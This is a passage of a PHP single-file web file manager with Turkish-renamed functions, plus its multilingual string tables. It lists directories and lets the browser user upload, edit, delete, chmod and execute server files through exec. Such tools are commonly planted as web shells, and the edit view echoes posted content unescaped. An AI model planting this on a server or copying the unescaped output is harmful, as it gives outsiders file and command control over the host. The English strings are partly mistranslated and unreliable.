  1054.     directory_choice();
  1055.  
  1056.     if (!empty($message)) {
  1057.         spacer();
  1058.         echo $message;
  1059.     }
  1060.  
  1061.     if (@is_writable($directory)) {
  1062.         upload_box();
  1063.         create_box();
  1064.     } else {
  1065.         spacer();
  1066.     }
  1067.  
  1068.     if ($list) {
  1069.         listing($list);
  1070.     } else {
  1071.         echo error('not_readable', $directory);
  1072.     }
  1073.  
  1074.     echo '</table>
  1075.  
  1076. </form>
  1077.  
  1078. ';
  1079.  
  1080.     html_footer();
  1081.  
  1082. }
  1083.  
  1084. function listing ($list) {
  1085.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1086.  
  1087.     echo '<tr class="listing">
  1088.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1089. ';
  1090.  
  1091.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1092.  
  1093.     if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1094.     echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1095.  
  1096.     if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1097.     echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1098.  
  1099.     if (!$win) {
  1100.  
  1101.         if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1102.         echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1103.  
  1104.         if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1105.         echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1106.  
  1107.         if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1108.         echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1109.  
  1110.     }
  1111.  
  1112.     echo '  <th class="Görevler">' . word('Görevler') . '</th>
  1113. </tr>
  1114. ';
  1115.  
  1116.     for ($i = 0; $i < sizeof($list); $i++) {
  1117.         $file = $list[$i];
  1118.  
  1119.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1120.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1121.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1122.  
  1123.         echo '<tr class="listing">
  1124.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1125.     <td class="filename" title="' . html($timestamps) . '">';
  1126.  
  1127.         if ($file['is_link']) {
  1128.  
  1129.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1130.             echo html($file['filename']) . ' &rarr; ';
  1131.  
  1132.             $real_file = relative2absolute($file['target'], $directory);
  1133.  
  1134.             if (@is_readable($real_file)) {
  1135.                 if (@is_dir($real_file)) {
  1136.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1137.                 } else {
  1138.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1139.                 }
  1140.             } else {
  1141.                 echo html($file['target']);
  1142.             }
  1143.  
  1144.         } elseif ($file['is_dir']) {
  1145.  
  1146.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1147.             if ($win || $file['is_executable']) {
  1148.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1149.             } else {
  1150.                 echo html($file['filename']);
  1151.             }
  1152.             echo ' ]';
  1153.  
  1154.         } else {
  1155.  
  1156.             if (substr($file['filename'], 0, 1) == '.') {
  1157.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1158.             } else {
  1159.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1160.             }
  1161.  
  1162.             if ($file['is_file'] && $file['is_readable']) {
  1163.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1164.             } else {
  1165.                 echo html($file['filename']);
  1166.             }
  1167.  
  1168.         }
  1169.  
  1170.         if ($file['size'] >= 1000) {
  1171.             $human = ' title="' . human_filesize($file['size']) . '"';
  1172.         } else {
  1173.             $human = '';
  1174.         }
  1175.  
  1176.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1177.  
  1178.         if (!$win) {
  1179.  
  1180.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1181.  
  1182.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1183.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1184.             echo html(permission_octal2string($file['permission']));
  1185.             if ($l) echo '</a>';
  1186.  
  1187.             echo "</td>\n";
  1188.  
  1189.             if (array_key_exists('owner_name', $file)) {
  1190.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1191.             } else {
  1192.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1193.             }
  1194.  
  1195.             if (array_key_exists('group_name', $file)) {
  1196.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1197.             } else {
  1198.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1199.             }
  1200.  
  1201.         }
  1202.  
  1203.         echo '  <td class="Görevler">
  1204.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1205. ';
  1206.  
  1207.         $actions = array();
  1208.         if (function_exists('symlink')) {
  1209.             $actions[] = 'create_symlink';
  1210.         }
  1211.         if (@is_writable(dirname($file['path']))) {
  1212.             $actions[] = 'Sil';
  1213.             $actions[] = 'Degistir';
  1214.             $actions[] = 'Tasi';
  1215.         }
  1216.         if ($file['is_file'] && $file['is_readable']) {
  1217.             $actions[] = 'Kopyala';
  1218.             $actions[] = 'indir';
  1219.             if ($file['is_writable']) $actions[] = 'Düzenle';
  1220.         }
  1221.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1222.             $actions[] = 'execute';
  1223.         }
  1224.  
  1225.         if (sizeof($actions) > 0) {
  1226.  
  1227.             echo '      <select class="small" name="action' . $i . '" size="1">
  1228.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1229. ';
  1230.  
  1231.             foreach ($actions as $action) {
  1232.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1233.             }
  1234.  
  1235.             echo '      </select>
  1236.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1237. ';
  1238.  
  1239.         }
  1240.  
  1241.         echo '  </td>
  1242. </tr>
  1243. ';
  1244.  
  1245.     }
  1246.  
  1247.     echo '<tr class="listing_footer">
  1248.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1249.     <td colspan="' . ($cols - 1) . '">
  1250.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1251.         <input type="hidden" name="focus" value="" />
  1252.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1253. ';
  1254.  
  1255.     $actions = array();
  1256.     if (@is_writable(dirname($file['path']))) {
  1257.         $actions[] = 'Sil';
  1258.         $actions[] = 'Tasi';
  1259.     }
  1260.     $actions[] = 'Kopyala';
  1261.  
  1262.     echo '      <select class="small" name="action_all" size="1">
  1263.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1264. ';
  1265.  
  1266.     foreach ($actions as $action) {
  1267.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1268.     }
  1269.  
  1270.     echo '      </select>
  1271.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1272.     </td>
  1273. </tr>
  1274. ';
  1275.  
  1276. }
  1277.  
  1278. function directory_choice () {
  1279.     global $directory, $homedir, $cols, $self;
  1280.  
  1281.     echo '<tr>
  1282.     <td colspan="' . $cols . '" id="directory">
  1283.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1284.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1285.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1286.     </td>
  1287. </tr>
  1288. ';
  1289.  
  1290. }
  1291.  
  1292. function upload_box () {
  1293.     global $cols;
  1294.  
  1295.     echo '<tr>
  1296.     <td colspan="' . $cols . '" id="upload">
  1297.         ' . word('file') . ':
  1298.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1299.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1300.     </td>
  1301. </tr>
  1302. ';
  1303.  
  1304. }
  1305.  
  1306. function create_box () {
  1307.     global $cols;
  1308.  
  1309.     echo '<tr>
  1310.     <td colspan="' . $cols . '" id="create">
  1311.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1312.         <option value="file">' . word('file') . '</option>
  1313.         <option value="directory">' . word('directory') . '</option>
  1314.         </select>
  1315.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1316.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1317.     </td>
  1318. </tr>
  1319. ';
  1320.  
  1321. }
  1322.  
  1323. function Düzenle ($file) {
  1324.     global $self, $directory, $Düzenlecols, $Düzenlerows, $apache, $htpasswd, $htaccess;
  1325.  
  1326.     html_header();
  1327.  
  1328.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1329.  
  1330. <form action="' . $self . '" method="post">
  1331.  
  1332. <table class="dialog">
  1333. <tr>
  1334. <td class="dialog">
  1335.  
  1336.     <textarea name="content" cols="' . $Düzenlecols . '" rows="' . $Düzenlerows . '" WRAP="off">';
  1337.  
  1338.     if (array_key_exists('content', $_POST)) {
  1339.         echo $_POST['content'];
  1340.     } else {
  1341.         $f = fopen($file, 'r');
  1342.         while (!feof($f)) {
  1343.             echo html(fread($f, 8192));
  1344.         }
  1345.         fclose($f);
  1346.     }
  1347.  
  1348.     if (!empty($_POST['user'])) {
  1349.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1350.     }
  1351.     if (!empty($_POST['basic_auth'])) {
  1352.         if ($win) {
  1353.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1354.         } else {
  1355.             $authfile = $directory . $htpasswd;
  1356.         }
  1357.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1358.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1359.         echo 'Require valid-user';
  1360.     }
  1361.  
  1362.     echo '</textarea>
  1363.  
  1364.     <hr />
  1365. ';
  1366.  
  1367.     if ($apache && basename($file) == $htpasswd) {
  1368.         echo '
  1369.     ' . word('user') . ': <input type="text" name="user" />
  1370.     ' . word('password') . ': <input type="password" name="password" />
  1371.     <input type="submit" value="' . word('add') . '" />
  1372.  
  1373.     <hr />
  1374. ';
  1375.  
  1376.     }
  1377.  
  1378.     if ($apache && basename($file) == $htaccess) {
  1379.         echo '
  1380.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1381.  
  1382.     <hr />
  1383. ';
  1384.  
  1385.     }
  1386.  
  1387.     echo '
  1388.     <input type="hidden" name="action" value="Düzenle" />
  1389.     <input type="hidden" name="file" value="' . html($file) . '" />
  1390.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1391.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1392.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1393.  
  1394. </td>
  1395. </tr>
  1396. </table>
  1397.  
  1398. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  1399.  
  1400. </form>
  1401.  
  1402. ';
  1403.  
  1404.     html_footer();
  1405.  
  1406. }
  1407.  
  1408. function spacer () {
  1409.     global $cols;
  1410.  
  1411.     echo '<tr>
  1412.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1413. </tr>
  1414. ';
  1415.  
  1416. }
  1417.  
  1418. function textfieldsize ($content) {
  1419.  
  1420.     $size = strlen($content) + 5;
  1421.     if ($size < 30) $size = 30;
  1422.  
  1423.     return $size;
  1424.  
  1425. }
  1426.  
  1427. function request_dump () {
  1428.  
  1429.     foreach ($_REQUEST as $key => $value) {
  1430.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1431.     }
  1432.  
  1433. }
  1434.  
  1435. /* ------------------------------------------------------------------------- */
  1436.  
  1437. function html ($string) {
  1438.     global $charset;
  1439.     return htmlentities($string, ENT_COMPAT, $charset);
  1440. }
  1441.  
  1442. function word ($word) {
  1443.     global $words, $word_charset;
  1444.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1445. }
  1446.  
  1447. function phrase ($phrase, $arguments) {
  1448.     global $words;
  1449.     static $search;
  1450.  
  1451.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1452.  
  1453.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1454.         $arguments[$i] = nl2br(html($arguments[$i]));
  1455.     }
  1456.  
  1457.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1458.  
  1459.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1460.  
  1461. }
  1462.  
  1463. function getwords ($lang) {
  1464.     global $word_charset, $date_format;
  1465.  
  1466.     switch ($lang) {
  1467.     case 'de':
  1468.  
  1469.         $date_format = 'd.m.y H:i:s';
  1470.         $word_charset = 'ISO-8859-1';
  1471.  
  1472.         return array(
  1473. 'directory' => 'Directory',
  1474. 'file' => 'File',
  1475. 'filename' => 'Filename',
  1476.  
  1477. 'size' => 'Size',
  1478. 'permission' => 'Permission',
  1479. 'owner' => 'Owner',
  1480. 'group' => 'Gruppe',
  1481. 'other' => 'Other',
  1482. 'Görevler' => 'Functions',
  1483.  
  1484. 'read' => 'rad',
  1485. 'write' => 'write',
  1486. 'execute' => 'perform',
  1487.  
  1488. 'create_symlink' => 'Create Symlink',
  1489. 'Sil' => 'Delete',
  1490. 'Degistir' => 'Rename',
  1491. 'Tasi' => 'Move',
  1492. 'Kopyala' => 'Copy',
  1493. 'Düzenle' => 'Edited',
  1494. 'indir' => 'dir',
  1495. 'upload' => 'Upload',
  1496. 'create' => 'Created',
  1497. 'change' => 'Change',
  1498. 'save' => 'Save',
  1499. 'set' => 'Set',
  1500. 'reset' => 'Reset to default',
  1501. 'relative' => 'Path to target relatively',
  1502.  
  1503. 'yes' => 'Yes',
  1504. 'no' => 'No',
  1505. 'Geri' => 'Back',
  1506. 'Yol' => 'aim',
  1507. 'symlink' => 'Symlink',
  1508. 'no_output' => 'No output',
  1509.  
  1510. 'user' => 'User',
  1511. 'password' => 'Password',
  1512. 'add' => 'Add',
  1513. 'add_basic_auth' => 'Add HTTP-Basic-Auth',
  1514.  
  1515. 'uploaded' => '"[%1]" Uploaded.',
  1516. 'not_uploaded' => '"[%1]" Failed to upload.',
  1517. 'already_exists' => '"[%1]" Already exists.',
  1518. 'created' => '"[%1]" Was created.',
  1519. 'not_created' => '"[%1]" Could not be created.',
  1520. 'really_Sil' => 'If the following files are really deleted?',
  1521. 'Sild' => "The following files have been deleted:\n[%1]",
  1522. 'not_Sild' => "The following files could not be deleted:\n[%1]",
  1523. 'Degistir_file' => 'Rename file to:',
  1524. 'Degistird' => '"[%1]" was in "[%2]" renamed.',
  1525. 'not_Degistird' => '"[%1] Could not in "[%2]" be renamed.',
  1526. 'Tasi_files' => 'Move the following files:',
  1527. 'Tasid' => "The following files could not after \"[%2]\" shifted:\n[%1]",
  1528. 'not_Tasid' => "The following files could not after \"[%2]\" be moved:\n[%1]",
  1529. 'Kopyala_files' => 'Copy the following files:',
  1530. 'copied' => "The following files were to \"[%2]\" copied:\n[%1]",
  1531. 'not_copied' => "The following files could not after \"[%2]\" be copied:\n[%1]",
  1532. 'not_Düzenleed' => '"[%1]" can not be Düzenleiert.',
  1533. 'executed' => "\"[%1]\" Was successfully executed:\n{%2}",
  1534. 'not_executed' => "\"[%1]\" Could not be executed successfully:\n{%2}",
  1535. 'saved' => '"[%1]" Submitted.',
  1536. 'not_saved' => '"[%1]" Could not be saved.',
  1537. 'symlinked' => 'Symlink from "[%2]" after "[%1]" was created.',
  1538. 'not_symlinked' => 'Symlink from "[%2]" after "[%1]" could not be created.',
  1539. 'permission_for' => 'rights for "[%1]":',
  1540. 'permission_set' => 'The rights for "[%1]" were on [%2] set.',
  1541. 'permission_not_set' => 'The rights for "[%1]" not able to [%2] are set.',
  1542. 'not_readable' => '"[%1]" Can not be read.'
  1543.         );
  1544.  
  1545.     case 'fr':
  1546.  
  1547.         $date_format = 'd.m.y H:i:s';
  1548.         $word_charset = 'ISO-8859-1';
  1549.  
  1550.         return array(
  1551. 'directory' => 'Répertoire',
  1552. 'file' => 'Fichier',
  1553. 'filename' => 'Nom fichier',
  1554.  
  1555. 'size' => 'Taille',
  1556. 'permission' => 'Droits',
  1557. 'owner' => 'Propriétaire',
  1558. 'group' => 'Groupe',
  1559. 'other' => 'Autres',
  1560. 'Görevler' => 'Fonctions',
  1561.  
  1562. 'read' => 'Lire',
  1563. 'write' => 'Ecrire',
  1564. 'execute' => 'Exécuter',
  1565.  
  1566. 'create_symlink' => 'Créer lien symbolique',
  1567. 'Sil' => 'Effacer',
  1568. 'Degistir' => 'Renommer',
  1569. 'Tasi' => 'Déplacer',
  1570. 'Kopyala' => 'Copier',
  1571. 'Düzenle' => 'Ouvrir',
  1572. 'indir' => 'Télécharger sur PC',
  1573. 'upload' => 'Télécharger sur serveur',
  1574. 'create' => 'Créer',
  1575. 'change' => 'Changer',
  1576. 'save' => 'Sauvegarder',
  1577. 'set' => 'Exécuter',
  1578. 'reset' => 'Réinitialiser',
  1579. 'relative' => 'Relatif',
  1580.  
  1581. 'yes' => 'Oui',
  1582. 'no' => 'Non',
  1583. 'Geri' => 'Retour',
  1584. 'Yol' => 'Yol',
  1585. 'symlink' => 'Lien symbollique',
  1586. 'no_output' => 'Pas de sortie',
  1587.  
  1588. 'user' => 'Utilisateur',
  1589. 'password' => 'Mot de passe',
  1590. 'add' => 'Ajouter',
  1591. 'add_basic_auth' => 'add basic-authentification',
  1592.  
  1593. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1594. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1595. 'already_exists' => '"[%1]" existe déjà.',
  1596. 'created' => '"[%1]" a été créé.',
  1597. 'not_created' => '"[%1]" n a pas pu être créé.',
  1598. 'really_Sil' => 'Effacer le fichier?',
  1599. 'Sild' => "Ces fichiers ont été détuits:\n[%1]",
  1600. 'not_Sild' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1601. 'Degistir_file' => 'Renomme fichier:',
  1602. 'Degistird' => '"[%1]" a été renommé en "[%2]".',
  1603. 'not_Degistird' => '"[%1] n a pas pu être renommé en "[%2]".',
  1604. 'Tasi_files' => 'Déplacer ces fichiers:',
  1605. 'Tasid' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1606. 'not_Tasid' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1607. 'Kopyala_files' => 'Copier ces fichiers:',
  1608. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1609. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1610. 'not_Düzenleed' => '"[%1]" ne peut être ouvert.',
  1611. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1612. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1613. 'saved' => '"[%1]" a été sauvegardé.',
  1614. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1615. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1616. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1617. 'permission_for' => 'Droits de "[%1]":',
  1618. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1619. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1620. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1621.         );
  1622.  
  1623.     case 'it':
  1624.  
  1625.         $date_format = 'd-m-Y H:i:s';
  1626.         $word_charset = 'ISO-8859-1';
  1627.  
  1628.         return array(
  1629. 'directory' => 'Directory',
  1630. 'file' => 'File',
  1631. 'filename' => 'Nome File',
  1632.  
  1633. 'size' => 'Dimensioni',
  1634. 'permission' => 'Permessi',
  1635. 'owner' => 'Proprietario',
  1636. 'group' => 'Gruppo',
  1637. 'other' => 'Altro',
  1638. 'Görevler' => 'Funzioni',
  1639.  
  1640. 'read' => 'leggi',
  1641. 'write' => 'scrivi',
  1642. 'execute' => 'esegui',
  1643.  
  1644. 'create_symlink' => 'crea link simbolico',
  1645. 'Sil' => 'cancella',
  1646. 'Degistir' => 'rinomina',
  1647. 'Tasi' => 'sposta',
  1648. 'Kopyala' => 'copia',
  1649. 'Düzenle' => 'modifica',
  1650. 'indir' => 'indir',
  1651. 'upload' => 'upload',
  1652. 'create' => 'crea',
  1653. 'change' => 'cambia',
  1654. 'save' => 'salva',
  1655. 'set' => 'imposta',
  1656. 'reset' => 'reimposta',
  1657. 'relative' => 'Percorso relativo per la destinazione',
  1658.  
  1659. 'yes' => 'Si',
  1660. 'no' => 'No',
  1661. 'Geri' => 'indietro',
  1662. 'Yol' => 'Destinazione',
  1663. 'symlink' => 'Link simbolico',
  1664. 'no_output' => 'no output',
  1665.  
  1666. 'user' => 'User',
  1667. 'password' => 'Password',
  1668. 'add' => 'aggiungi',
  1669. 'add_basic_auth' => 'aggiungi autenticazione base',
  1670.  
  1671. 'uploaded' => '"[%1]" è stato caricato.',
  1672. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1673. 'already_exists' => '"[%1]" esiste già.',
  1674. 'created' => '"[%1]" è stato creato.',
  1675. 'not_created' => '"[%1]" non è stato creato.',
  1676. 'really_Sil' => 'Cancello questi file ?',
  1677. 'Sild' => "Questi file sono stati cancellati:\n[%1]",
  1678. 'not_Sild' => "Questi file non possono essere cancellati:\n[%1]",
  1679. 'Degistir_file' => 'File rinominato:',
  1680. 'Degistird' => '"[%1]" è stato rinominato in "[%2]".',
  1681. 'not_Degistird' => '"[%1] non è stato rinominato in "[%2]".',
  1682. 'Tasi_files' => 'Sposto questi file:',
  1683. 'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1684. 'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1685. 'Kopyala_files' => 'Copio questi file',
  1686. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1687. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1688. 'not_Düzenleed' => '"[%1]" non può essere modificato.',
  1689. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1690. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1691. 'saved' => '"[%1]" è stato salvato.',
  1692. 'not_saved' => '"[%1]" non è stato salvato.',
  1693. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1694. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1695. 'permission_for' => 'Permessi di "[%1]":',
  1696. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1697. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1698. 'not_readable' => '"[%1]" non può essere letto.'
  1699.         );
  1700.  
  1701.     case 'se':
  1702.  
  1703.         $date_format = 'n/j/y H:i:s';
  1704.         $word_charset = 'ISO-8859-1';
  1705.  
  1706.         return array(
  1707. 'directory' => 'Mapp',
  1708. 'file' => 'Fil',
  1709. 'filename' => 'Filnamn',
  1710.  
  1711. 'size' => 'Size',
  1712. 'permission' => 'Permission',
  1713. 'owner' => 'Owner',
  1714. 'group' => 'Group',
  1715. 'other' => 'Other',
  1716. 'Görevler' => 'Features',
  1717.  
  1718. 'read' => 'Read',
  1719. 'write' => 'Write',
  1720. 'execute' => 'Execute',
  1721.  
  1722. 'create_symlink' => 'Skapa symlink',
  1723. 'Sil' => 'Radera',
  1724. 'Degistir' => 'Byt namn',
  1725. 'Tasi' => 'Flytta',
  1726. 'Kopyala' => 'Kopiera',
  1727. 'Düzenle' => 'Ändra',
  1728. 'indir' => 'Ladda ner',
  1729. 'upload' => 'Ladda upp',
  1730. 'create' => 'Skapa',
  1731. 'change' => 'Ändra',
  1732. 'save' => 'Spara',
  1733. 'set' => 'Markera',
  1734. 'reset' => 'Töm',
  1735. 'relative' => 'Relative path to target',
  1736.  
  1737. 'yes' => 'Ja',
  1738. 'no' => 'Nej',
  1739. 'Geri' => 'Tillbaks',
  1740. 'Yol' => 'Yol',
  1741. 'symlink' => 'Symlink',
  1742. 'no_output' => 'no output',
  1743.  
  1744. 'user' => 'Användare',
  1745. 'password' => 'Lösenord',
  1746. 'add' => 'Lägg till',
  1747. 'add_basic_auth' => 'add basic-authentification',
  1748.  
  1749. 'uploaded' => '"[%1]" har laddats upp.',
  1750. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1751. 'already_exists' => '"[%1]" finns redan.',
  1752. 'created' => '"[%1]" har skapats.',
  1753. 'not_created' => '"[%1]" kunde inte skapas.',
  1754. 'really_Sil' => 'Radera dessa filer?',
  1755. 'Sild' => "De här filerna har raderats:\n[%1]",
  1756. 'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]",
  1757. 'Degistir_file' => 'Byt namn på fil:',
  1758. 'Degistird' => '"[%1]" har bytt namn till "[%2]".',
  1759. 'not_Degistird' => '"[%1] kunde inte döpas om till "[%2]".',
  1760. 'Tasi_files' => 'Flytta dessa filer:',
  1761. 'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1762. 'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1763. 'Kopyala_files' => 'Kopiera dessa filer:',
  1764. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1765. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1766. 'not_Düzenleed' => '"[%1]" kan inte ändras.',
  1767. 'executed' => "\"[%1]\" har utförts:\n{%2}",
  1768. 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
  1769. 'saved' => '"[%1]" har sparats.',
  1770. 'not_saved' => '"[%1]" kunde inte sparas.',
  1771. 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
  1772. 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
  1773. 'permission_for' => 'Rättigheter för "[%1]":',
  1774. 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
  1775. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1776. 'not_readable' => '"[%1]" kan inte läsas.'
  1777.         );
  1778.  
  1779.     case 'en':
  1780.     default:
  1781.  
  1782.         $date_format = 'n/j/y H:i:s';
  1783.         $word_charset = 'ISO-8859-1';
  1784.  
  1785.         return array(
  1786. 'directory' => 'Directory',
  1787. 'file' => 'File',
  1788. 'filename' => 'Filename',
  1789.  
  1790. 'size' => 'Size',
  1791. 'permission' => 'Permission',
  1792. 'owner' => 'Owner',
  1793. 'group' => 'Group',
  1794. 'other' => 'Other',
  1795. 'Görevler' => 'Task',
  1796.  
  1797. 'read' => 'Read',
  1798. 'write' => 'Write',
  1799. 'execute' => 'Execute',
  1800.  
  1801. 'create_symlink' => 'Create Symlink',
  1802. 'Sil' => 'Clear',
  1803. 'Degistir' => 'Change',
  1804. 'Tasi' => 'Move',
  1805. 'Kopyala' => 'Copy',
  1806. 'Düzenle' => 'Edit',
  1807. 'indir' => 'Download',
  1808. 'upload' => 'Upload',
  1809. 'create' => 'Create',
  1810. 'change' => 'Change',
  1811. 'save' => 'Save',
  1812. 'set' => 'Set',
  1813. 'reset' => 'Reset',
  1814. 'relative' => 'Relative',
  1815.  
  1816. 'yes' => 'Yes',
  1817. 'no' => 'No',
  1818. 'Geri' => 'Back',
  1819. 'Yol' => 'Yol',
  1820. 'symlink' => 'Symlink',
  1821. 'no_output' => 'Hiçbir çýktý',
  1822.  
  1823. 'user' => 'User',
  1824. 'password' => 'Password',
  1825. 'add' => 'Add',
  1826. 'add_basic_auth' => 'add basic-authentification',
  1827.  
  1828. 'uploaded' => '"[%1]" Uploaded.',
  1829. 'not_uploaded' => '"[%1]" Not Uploaded.',
  1830. 'already_exists' => '"[%1]" Already Exist.',
  1831. 'created' => '"[%1]" Created.',
  1832. 'not_created' => '"[%1]" Not Created!.',
  1833. 'really_Sil' => 'Silinen dosyalar?',
  1834. 'Sild' => "Bu dosyalar,oldu Sild:\n[%1]",
  1835. 'not_Sild' => "Bu dosyalar olamazdý Sild:\n[%1]",
  1836. 'Degistir_file' => 'Dosyayi Degistir:',
  1837. 'Degistird' => '"[%1]" Degistirildi "[%2]".',
  1838. 'not_Degistird' => '"[%1] Degistirilemedi "[%2]".',
